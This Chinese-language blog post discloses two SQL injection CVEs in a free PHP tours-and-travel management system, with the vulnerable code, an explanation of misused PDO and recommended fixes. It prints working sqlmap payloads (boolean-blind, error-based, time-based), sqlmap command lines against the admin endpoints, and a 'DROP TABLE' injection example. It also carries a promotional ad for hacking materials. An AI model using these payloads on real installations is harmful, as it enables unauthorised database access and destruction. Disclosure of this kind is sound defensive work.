1.前言
之前在网上随便逛逛的时候,发现一个有各种各样的PHP项目的管理系统,随便点进一个查看,发现还把mysql版本都写出来了,而且还是PHP语言。
https://itsourcecode.com/free-projects/php-project/online-tours-and-travels-management-system-project-in-php-and-mysql/
[img=720,351.36]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/a7f535fd-9777-40a7-815c-e03be94aaf5a.png[/img]
那这可能存在sql注入漏洞,所以代码审计了一下,并上报了CVE,现在编号下来了 CVE-2025-9008,CVE-2025-8993,于是公开发现过程。
2.漏洞详情
1.1 CVE-2025-9008
下载其源代码之后,对“在线旅游及差旅管理系统”进行安全审查期间,发现“/admin/sms_setting.php””文件中存在一个高危SQL注入漏洞。
[img=720,177.43702081051478]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/57bda079-1773-444b-b345-7d1222f1c61b.png[/img] - $sql = "UPDATE sms_setting SET uname='".$_POST['uname']."',
- password='".$_POST['password']."',
- sender_id='".$_POST['sender_id']."'
-
- WHERE id='1'";
复制代码 这段sql代码一眼望过去就是,直接将用户通过 $_POST超全局数组提交的数据,未经任何过滤和转义,就拼接到了 SQL 查询字符串中,那这肯定就存在sql注入漏洞。
因为sql 注入的核心在于“混淆了代码和数据”,用户的输入本应被视为普通数据,但由于直接拼接,攻击者可以精心构造输入,让其成为 sql代码的一部分,从而篡改原SQL语句的意图。
比如说在密码 password 输入框中,攻击者输入了:' OR '1'='1
那么,最终拼接出来的 SQL 语句会变成:- UPDATE sms_setting SET
- uname='hacker',
- password='' OR '1'='1',
- sender_id='fake_sender'
- WHERE id='1'
复制代码 这条语句的含义被彻底改变了。password字段的赋值不再是一个简单的字符串,而是变成了一个逻辑判断 '' OR '1'='1'。这个判断的结果是 永远为真。
更高级的攻击者甚至可以输入类似 '; DROP TABLE users; --的内容,从而执行任意sql命令,比如说删除数据库表,导出数据库数据之类的操作。
payload
- ---
- Parameter: uname (POST)
- Type: boolean-based blind
- Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
- Payload: uname=111111111111' RLIKE (SELECT (CASE WHEN (2321=2321) THEN 111111111111 ELSE 0x28 END)) AND 'QhkJ'='QhkJ&password=111111111111111111&sender_id=1111111111111111111&update=
-
- Type: error-based
- Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
- Payload: uname=111111111111' AND EXTRACTVALUE(9139,CONCAT(0x5c,0x7178627171,(SELECT (ELT(9139=9139,1))),0x716a787171)) AND 'CAQx'='CAQx&password=111111111111111111&sender_id=1111111111111111111&update=
- ---
复制代码 我们也可以使用一些工具来进行查看,比如说sqlmap。- sqlmap -u "http:/http://127.0.0.1/code/admin/sms_setting.php" --data="uname" --batch --dbs
复制代码[img=720,367.0866141732283]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/fe196efe-f198-488c-9788-f3eea3dba596.png[/img]
通过 HTTP POST 请求 提交的、名为 uname的表单字段,选择了布尔盲注的攻击类型。
布尔盲注这是一种高级注入技术,用于当网站不会直接显示数据库错误信息,并且查询结果也不会直接返回到页面上的情况。攻击者通过向数据库发送一个“问题”,然后根据页面返回的细微差异,一般来说都是通过观察页面是否可以正常加载来判断。
【----帮助网安学习,以下所有学习资料免费领!加vx:YJ-2021-1,备注 “博客园” 获取!】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
而图中的payload- uname=111111111111' RLIKE (SELECT (CASE WHEN (2321=2321) THEN 111111111111 ELSE 0x28 END)) AND 'QhkJ'='QhkJ
复制代码 111111111111:这是一个随机的无效用户名,目的是让原查询的uname匹配不到结果。
RLIKE: 这是MySQL的正则表达式匹配操作符,一般用它来触发一个条件判断。
(CASE WHEN (2321=2321) THEN ... ELSE ... END): 这是一个SQL的CASE条件语句。这里它判断一个永恒成立的条件 2321=2321
如果条件为 True,那么整个RLIKE语句会匹配用户名111111111111,页面可能会返回一个找不到用户名存在的状态。
如果条件为 False,比如说什么1=2之类的常见语句,那么CASE语句会返回一个错误的结果,导致RLIKE匹配失败,页面可能会返回一个完全空白的状态。
把2321=2321换成 (SELECT COUNT(*) FROM information_schema.schemata) > 5),观察页面的反应,盲猜出数据库名称出来。
所以明确了这里存在sql注入漏洞。
1.2 CVE-2025-8993
接着,在“/admin/expense_report.php”文件中又发现了一个严重的SQL注入漏洞。该漏洞源于对“from_date”参数的用户输入验证不足,使得攻击者能够注入恶意SQL查询。因此,攻击者可以未经授权访问数据库,修改或删除数据,并获取敏感信息。
[img=720,127.92857142857143]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/3db817de-feac-41ee-a0d1-399c2db1a023.png[/img]
这段代码的核心逻辑其实就是,首先检查用户是否点击了提交按钮if (isset($_POST['submit'])),然后就去获取用户表单中输入的起始日期$from_date和结束日期$to_date,连接数据库之后用一条 sql 语句,查询 expense表中所有在用户指定日期范围内创建的记录。
而且还用了PDO,PDO最重要的就是预处理语句,从根本上防御sql注入,但是又没使用好。
它将 sql 语句的结构 和 数据 分开发送给数据库服务器处理。
比如说先把一个带“占位符”的 sql 模板发送给数据库,数据库会解析并编译这个模板,确定它的结构。- $stmt = $pdo->prepare("SELECT * FROM users WHERE name = ? AND pwd = ?");
复制代码 然后当执行阶段的时候,再把真实的数据,比如说什么用户输入的用户名和密码,发送给数据库,数据库只会把这些数据当正常数据值使用,不会把它当成 SQL 代码来解析。
这样就避免了,即使用户输入了恶意的数据比如说什么常见的 ' OR '1'='1,它也只会被当作一个普通的字符串字面值去进行匹配,而不会改变原sql语句的逻辑。从而彻底杜绝了 SQL 注入。
但是这条sql语句虽然也使用了PDO,但是它把用户要输入的from_date的值给它拼接到sql字符串了,代码和字符串直接拼接,完全绕过了PDO的安全保护,让PDO形同虚设。- $stmt = $conn->prepare("SELECT * FROM expense where created_date between '".$_POST['from_date']."' and '".$_POST['to_date']."' ");
复制代码 $_POST['from_date'] 和 $_POST['to_date'] 没有任何过滤/转义,直接拼接到了 SQL 中。
攻击者只要在表单输入里构造恶意 payload,就能注入 sql。
虽然用了 PDO,但没有真正用到参数化查询。
$conn->prepare(...) 本身可以防止注入,但是这里不知道怎么回事,开发者依然把变量拼接到了 sql 里,相当于没起作用。
所以漏洞源于“from_date”参数的用户输入验证不足,导致攻击者能够注入恶意sql查询。
payload
- ---
- Parameter: from_date (POST)
- Type: error-based
- Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
- Payload: from_date=0111-11-11' AND GTID_SUBSET(CONCAT(0x71716a6271,(SELECT (ELT(8748=8748,1))),0x7162707071),8748)-- OwaD&to_date=0001-01-11&submit=
-
- Type: time-based blind
- Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
- Payload: from_date=0111-11-11' AND (SELECT 5860 FROM (SELECT(SLEEP(5)))KNEf)-- vyOX&to_date=0001-01-11&submit=
- ---
复制代码 用sqlmap进行检测- sqlmap -u "http:/http://127.0.0.1/code/admin/expense_report.php" --data="from_date" --batch --dbs
复制代码[img=720,379.94169096209913]https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/6c42815c-f788-492d-99fe-d476a5501286.png[/img]
sqlmap 识别到 POST 参数 from_date 存在注入漏洞。
测试了多种方式,包括 基于报错注入 和 基于时间的盲注 ,都确认有效。
所谓的错误型注入,简单点说就是通过故意触发数据库错误,从而让数据库在报错信息中直接返回查询结果。
还有时间盲注 ,字面意思也就是通过让数据库执行延时函数,比如说什么 SLEEP(5),然后根据页面响应时间来判断注入的sql是否有效。- from_date=0111-11-11' AND (SELECT 5860 FROM (SELECT(SLEEP(5)))KNEf)-- vy0X&...
复制代码 如果注入成功,数据库将会执行 SLEEP(5)命令,导致页面响应时间延迟5秒。sqlmap就会根据这个延迟就能判断出漏洞存在。
而且sqlmap 成功获取了数据库名:information_schema,这是系统库,每个cms都会有的。
tour1,这个才是该cms特有的数据库名称。
所以明确了POST参数的from_date存在注入漏洞。
3.建议修复
- 使用准备好的语句和参数绑定:准备好的语句可以防止 SQL 注入,因为它们将 SQL 代码与用户输入数据分离。使用准备好的语句时,用户输入的值将被视为纯数据,不会被解释为 SQL 代码。
- 输入验证和过滤:严格验证和过滤用户输入数据,确保其符合预期的格式。
- 最小化数据库用户权限:确保用于连接数据库的账户具有必要的最低权限。避免使用具有高级权限的账户,比如“root”或“admin”进行日常操作。
- 定期安全审计:定期进行代码和系统安全审计,及时发现并修复潜在的安全漏洞。
更多网安技能的在线实操练习,请点击这里>>
来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |